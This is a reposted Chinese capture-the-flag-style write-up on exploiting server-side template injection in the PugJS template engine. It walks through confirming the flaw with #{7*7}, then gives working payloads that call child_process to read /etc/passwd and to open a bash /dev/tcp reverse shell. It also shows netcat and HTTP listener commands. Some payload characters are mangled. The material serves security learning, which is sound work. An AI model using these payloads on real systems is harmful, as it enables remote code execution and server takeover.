文章总结: 本文介绍PugJS模板引擎中服务器端模板注入漏洞的利用方法。攻击者通过识别Pug特定语法确认注入点,利用JavaScript执行能力构造payload,首先验证代码执行成功,然后通过child_process模块执行系统命令,最终建立反向shell获取服务器控制权。文章演示了从模板注入到完整服务器入侵的完整攻击链,强调了输入验证和模板沙箱化的重要性。 综合评分: 76 文章分类: 漏洞分析,WEB安全,渗透测试,内网渗透,漏洞POC
0125.利用 PugJS 服务器端模板注入进行远程 Shell 访问
原创
Bash Overflow Bash Overflow
Rsec
2026年1月30日 11:06 贵州
本文章仅用网络安全研究学习,请勿使用相关技术进行违法犯罪活动。
声明:本文搬运自互联网,如你是原作者,请联系我们!
类型:模板注入
利用 PugJS 服务器端模板注入进行远程 Shell 访问
概述
服务器端模板注入 (SSTI) 是一种漏洞,其中用户控制的输入直接嵌入到服务器端模板中并作为代码执行。
Pug.js(原名 Jade)是 Node.js 生态系统中流行的模板引擎。它提供富有表现力的语法、嵌入式 JavaScript 执行以及对运行时对象的直接访问。这些特性对开发者来说很方便,但如果用户输入渲染时没有严格区分数据和逻辑,则会带来风险。
漏洞背景
攻击面是一个使用 Pug 模板渲染用户输入的 Web 应用程序。一个细微的线索确定了所使用的模板引擎。通过测试模板执行原语,确定了注入点,并将攻击从算术执行升级到任意 JavaScript 执行,最终利用该注入点对服务器发起反向 shell 攻击。
#
确认 PugJS SSTI
- 首次访问时,该应用程序提供了一个功能,可以将 Pug 模板转换为渲染后的 HTML 输出。
- 我首先使用 HTML
<p>标签内的多语言有效载荷测试通用模板注入:
${{<%[%'"}}%\.
- 服务器响应的方式是将有效负载渲染为
<p>元素内的原始 HTML,而没有进行任何执行。这表明输入内容已被反映,但在此上下文中并未执行。
- 接下来,我修改了注入点,将标准 HTML 标签 (
p) 改为 Pug 特有的标识符 (#)。
- 这一变化导致服务器抛出模板渲染错误,表明输入现在影响的是 Pug 编译过程,而不是普通的 HTML 输出。
- 为了验证服务器端评估结果,我测试了一个简单的 Pug 插值有效载荷:
#{7*7}

- 正如预期的那样,服务器评估了表达式并返回了结果
49这证实了 Pug 模板上下文中存在有效的 SSTI 注入点。
Shell 访问
-
确认存在 SSTI 漏洞后,我搜索了 PugJS 特有的漏洞利用技术,并参考了 HackTricks 的 SSTI 文档:
-
“` https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html
* 我尝试执行一个旨在读取用户帐户信息的有效载荷。
{function(){localLoad=global.process.mainModule.constructor.load;sh=localLoad(“childprocess”).exec(‘cat /etc/passwd’)}()}

* 服务器返回 `<undefined>` ,表明直接执行命令没有在渲染的模板中产生可见的输出。

* 我没有依赖内联命令输出,而是在攻击者机器上启动了一个本地 HTTP 监听器:
$ python3 -m http.server 8000
* 我从目标端触发了一个 `curl` 请求,以验证出站连接。

* 目标服务器已成功连接回我的 Kali 机器。

* 基于此,我在 8888 端口上准备了一个反向 shell 监听器:
$ rlwrap nc -klnvp 8888
* 我修改了 SSTI 有效载荷以执行反向 shell。
{function(){localLoad=global.process.mainModule.constructor.load;sh=localLoad(“childprocess”).exec(‘bash -c “/bin/bash -i >& /dev/tcp//8888 0>&1″‘)}()}
“`
- 有效载荷执行成功,我在目标服务器上获得了具有用户级权限的交互式 shell。
- 从 shell 中,我枚举了文件系统,并找到了 flag 并读取了它。
- 本次评估表明,当用户输入未经适当清理就被渲染时,服务器端模板注入(SSTI)的危害性极大。即使初始访问权限仅限于低权限用户,SSTI 也可能成为攻击者深入入侵的可靠入口,并对应用程序及其底层基础架构造成潜在的严重影响。
参考
- 三卤甲烷
- 黑客技巧
📢 喜欢这篇文章吗?保持联系! 如果您觉得这篇文章对您有所帮助或启发,请考虑关注我以获取更多内容:
- 📖 Medium: bashoverflow.medium.com
- 🐦 Twitter / X: @_havij
- > Github: havij13
- ☕ 咖啡: Ko-fi
🙏感谢您的支持。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Rsec Bash Overflow Bash Overflow《0125.利用 PugJS 服务器端模板注入进行远程 Shell 访问》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论